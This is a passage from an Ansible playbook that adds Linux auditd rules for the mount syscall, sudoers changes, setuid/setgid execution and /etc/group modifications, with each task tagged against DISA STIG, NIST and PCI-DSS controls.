        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/export.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/export.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=export
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - mount
        syscall_grouping: []

    - name: Check existence of mount in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=export
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030302
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_media_export
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for mount for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - mount
        syscall_grouping: []

    - name: Check existence of mount in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/export.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/export.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=export
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - mount
        syscall_grouping: []

    - name: Check existence of mount in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=export
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030302
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_media_export
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers - Check
      if watch rule for /etc/sudoers already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/etc/sudoers\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030171
    - audit_rules_sudoers
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers - Search
      /etc/audit/rules.d for other rules with specified key actions
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)actions$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030171
    - audit_rules_sudoers
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers - Use
      /etc/audit/rules.d/actions.rules as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/actions.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030171
    - audit_rules_sudoers
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers - Use
      matched file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030171
    - audit_rules_sudoers
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers - Add
      watch rule for /etc/sudoers in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /etc/sudoers -p wa -k actions
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030171
    - audit_rules_sudoers
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers - Check
      if watch rule for /etc/sudoers already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/etc/sudoers\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030171
    - audit_rules_sudoers
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers - Add
      watch rule for /etc/sudoers in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /etc/sudoers -p wa -k actions
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030171
    - audit_rules_sudoers
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers.d/ -
      Check if watch rule for /etc/sudoers.d/ already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/etc/sudoers.d/\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030172
    - audit_rules_sudoers_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers.d/ -
      Search /etc/audit/rules.d for other rules with specified key actions
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)actions$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030172
    - audit_rules_sudoers_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers.d/ -
      Use /etc/audit/rules.d/actions.rules as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/actions.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030172
    - audit_rules_sudoers_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers.d/ -
      Use matched file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - DISA-STIG-RHEL-08-030172
    - audit_rules_sudoers_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers.d/ -
      Add watch rule for /etc/sudoers.d/ in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /etc/sudoers.d/ -p wa -k actions
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030172
    - audit_rules_sudoers_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers.d/ -
      Check if watch rule for /etc/sudoers.d/ already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/etc/sudoers.d/\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030172
    - audit_rules_sudoers_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure auditd Collects System Administrator Actions - /etc/sudoers.d/ -
      Add watch rule for /etc/sudoers.d/ in /etc/audit/audit.rules
    ansible.builtin.lineinfile:
      line: -w /etc/sudoers.d/ -p wa -k actions
      state: present
      dest: /etc/audit/audit.rules
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_audit_rules.matched is defined and find_existing_watch_audit_rules.matched
      == 0
    tags:
    - DISA-STIG-RHEL-08-030172
    - audit_rules_sudoers_d
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set suid_audit_rules fact
    ansible.builtin.set_fact:
      suid_audit_rules:
      - rule: -a always,exit -F arch=b32 -S execve -C gid!=egid -F egid=0 -k setgid
        regex: ^[\s]*-a[\s]+always,exit[\s]+-F[\s]+arch=b32[\s]+-S[\s]+execve[\s]+-C[\s]+gid!=egid[\s]+-F[\s]+egid=0[\s]+(?:-k[\s]+|-F[\s]+key=)[\S]+[\s]*$
      - rule: -a always,exit -F arch=b64 -S execve -C gid!=egid -F egid=0 -k setgid
        regex: ^[\s]*-a[\s]+always,exit[\s]+-F[\s]+arch=b64[\s]+-S[\s]+execve[\s]+-C[\s]+gid!=egid[\s]+-F[\s]+egid=0[\s]+(?:-k[\s]+|-F[\s]+key=)[\S]+[\s]*$
      - rule: -a always,exit -F arch=b32 -S execve -C uid!=euid -F euid=0 -k setuid
        regex: ^[\s]*-a[\s]+always,exit[\s]+-F[\s]+arch=b32[\s]+-S[\s]+execve[\s]+-C[\s]+uid!=euid[\s]+-F[\s]+euid=0[\s]+(?:-k[\s]+|-F[\s]+key=)[\S]+[\s]*$
      - rule: -a always,exit -F arch=b64 -S execve -C uid!=euid -F euid=0 -k setuid
        regex: ^[\s]*-a[\s]+always,exit[\s]+-F[\s]+arch=b64[\s]+-S[\s]+execve[\s]+-C[\s]+uid!=euid[\s]+-F[\s]+euid=0[\s]+(?:-k[\s]+|-F[\s]+key=)[\S]+[\s]*$
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030000
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(3)
    - NIST-800-53-AU-7(a)
    - NIST-800-53-AU-7(b)
    - NIST-800-53-AU-8(b)
    - NIST-800-53-CM-5(1)
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.2
    - audit_rules_suid_privilege_function
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Update /etc/audit/rules.d/privileged.rules to audit privileged functions
    ansible.builtin.lineinfile:
      path: /etc/audit/rules.d/privileged.rules
      line: '{{  item.rule  }}'
      regexp: '{{ item.regex }}'
      mode: '0600'
      create: true
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ('&quot;auditd.service&quot; in ansible_facts.services' or '&quot;augenrules.service&quot; in ansible_facts.services')
    register: augenrules_audit_rules_privilege_function_update_result
    with_items: '{{ suid_audit_rules }}'
    tags:
    - DISA-STIG-RHEL-08-030000
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(3)
    - NIST-800-53-AU-7(a)
    - NIST-800-53-AU-7(b)
    - NIST-800-53-AU-8(b)
    - NIST-800-53-CM-5(1)
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.2
    - audit_rules_suid_privilege_function
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Update /etc/audit/audit.rules to audit privileged functions
    ansible.builtin.lineinfile:
      path: /etc/audit/audit.rules
      line: '{{  item.rule  }}'
      regexp: '{{ item.regex }}'
      create: true
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ('&quot;auditd.service&quot; in ansible_facts.services' or '&quot;augenrules.service&quot; in ansible_facts.services')
    register: auditctl_audit_rules_privilege_function_update_result
    with_items: '{{ suid_audit_rules }}'
    tags:
    - DISA-STIG-RHEL-08-030000
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(3)
    - NIST-800-53-AU-7(a)
    - NIST-800-53-AU-7(b)
    - NIST-800-53-AU-8(b)
    - NIST-800-53-CM-5(1)
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.2
    - audit_rules_suid_privilege_function
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Restart Auditd
    ansible.builtin.command: /usr/sbin/service auditd restart
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - (augenrules_audit_rules_privilege_function_update_result.changed or auditctl_audit_rules_privilege_function_update_result.changed)
    - (&quot;auditd.service&quot; in ansible_facts.services and ansible_facts.services[&quot;auditd.service&quot;].state
      == &quot;running&quot;)
    tags:
    - DISA-STIG-RHEL-08-030000
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(3)
    - NIST-800-53-AU-7(a)
    - NIST-800-53-AU-7(b)
    - NIST-800-53-AU-8(b)
    - NIST-800-53-CM-5(1)
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.2
    - audit_rules_suid_privilege_function
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/group - Check if
      watch rule for /etc/group already exists in /etc/audit/rules.d/
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^\s*-w\s+/etc/group\s+-p\s+wa(\s|$)+
      patterns: '*.rules'
    register: find_existing_watch_rules_d
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030170
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_group
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/group - Search /etc/audit/rules.d
      for other rules with specified key audit_rules_usergroup_modification
    ansible.builtin.find:
      paths: /etc/audit/rules.d
      contains: ^.*(?:-F key=|-k\s+)audit_rules_usergroup_modification$
      patterns: '*.rules'
    register: find_watch_key
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030170
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_group
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/group - Use /etc/audit/rules.d/audit_rules_usergroup_modification.rules
      as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - /etc/audit/rules.d/audit_rules_usergroup_modification.rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched == 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030170
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_group
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/group - Use matched
      file as the recipient for the rule
    ansible.builtin.set_fact:
      all_files:
      - '{{ find_watch_key.files | map(attribute=''path'') | list | first }}'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_watch_key.matched is defined and find_watch_key.matched &gt; 0 and find_existing_watch_rules_d.matched
      is defined and find_existing_watch_rules_d.matched == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030170
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_group
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/group - Add watch
      rule for /etc/group in /etc/audit/rules.d/
    ansible.builtin.lineinfile:
      path: '{{ all_files[0] }}'
      line: -w /etc/group -p wa -k audit_rules_usergroup_modification
      create: true
      mode: '0600'
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - find_existing_watch_rules_d.matched is defined and find_existing_watch_rules_d.matched
      == 0
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030170
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_group
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/group - Check if
      watch rule for /etc/group already exists in /etc/audit/audit.rules
    ansible.builtin.find:
      paths: /etc/audit/
      contains: ^\s*-w\s+/etc/group\s+-p\s+wa(\s|$)+
      patterns: audit.rules
    register: find_existing_watch_audit_rules
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.4.1.1
    - DISA-STIG-RHEL-08-030170
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.5
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.5
    - audit_rules_usergroup_modification_group
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Events that Modify User/Group Information - /etc/group - Add watch
      rule for /etc/group in /etc/audit/audit.rules
